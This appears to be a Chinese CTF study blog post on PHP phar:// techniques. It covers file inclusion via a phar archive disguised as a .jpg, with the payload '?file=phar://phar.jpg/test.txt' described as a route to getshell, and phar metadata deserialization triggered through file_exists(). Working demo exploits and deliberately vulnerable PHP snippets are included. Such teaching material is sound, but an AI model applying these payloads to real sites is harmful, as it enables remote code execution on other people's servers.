近期的比赛SUCTF和Bytectf都有赛题涉及到了phar,自己也想总结一下

phar://协议

phar://协议也是php中伪协议的一种

Alt text

其中php对phar的支持如下表所示:

Alt text

phar文件

一个php应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在window操作系统上面的安装程序、一个jquery库等等,为了做到这点php采用了phar文档文件格式,这个概念源自java的jar,但是在设计时主要针对 PHP 的 Web 环境,与 JAR 归档不同的是Phar 归档可由 PHP 本身处理,因此不需要使用额外的工具来创建或使用,使用php脚本就能创建或提取它。phar是一个合成词,由PHP 和 Archive构成,可以看出它是php归档文件的意思。

————————————————

引用自u011474028的文章

原文链接:https://blog.csdn.net/u011474028/article/details/54973571

可以把phar文件理解为文件的压缩包,用来做文件的归档,由以下四个部分组成:

stub phar: 文件标识,格式为 xxx

manifest: 也就是meta-data,压缩文件的属性等信息,以序列化存储;

contents: 压缩文件的内容;

signature: 签名,放在文件末尾;

phar文件的利用方式主要有两方面:

利用条件

phar文件包含

首先我们写一个最简单的文件包含代码:

// include.php
<?php
include($_GET['file']);
?>

然后我们再生成一个phar文件,可以先看一下PharData::addFromString()的定义:

Alt text

// phar.php
<?php
$p = new PharData(dirname(__FILE__).'/phar.jpg', 0,'phar',Phar::ZIP);
$p->addFromString('test.txt', '<?php phpinfo();?>'); //将php代码写入到test.txt中
?>

此时test.txt就相当于被“压缩”到了该phar文件中,我们看一下生成的phar文件的内容

Alt text

可以看到php代码的确被写入到了该文件中,然后我们尝试文件包含

payload为?file=phar://phar.jpg/test.txt,意思就是利用phar://协议来读取phar.jpg中的test.txt,而test.txt中的内容是<?php phpinfo();?>,因此我们还可以利用此方法来getshell

Alt text

phar反序列化

该漏洞的成因主要是phar文件中manifest部分的内容是序列化存储的,而php的一些函数在用phar://协议读取文件时,会自动将这部分序列化内容进行反序列化。这就造成了无unserialize()的反序列化

贴一张网上的受影响函数的表:

Alt text

写一个简单的demo来测试一下:

// test3.php
<?php
$filename = $_GET['file'];

class Test {
	function __destruct() {
		echo 'Success!';
	}
}

file_exists($filename);
?>

然后再生成一个phar文件

<?php
class Test {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

还是先看一下生成的phar文件的内容,发现确实有序列化的数据(也就是manifest部分):

Alt text

然后利用phar://来读取该phar文件,发现成功触发Test()类的魔术方法

Alt text

关于phar反序列化还可以参考byctf2019_Ezcms:

http://loong716.top/2019/09/14/Bytectf-2019-Web.html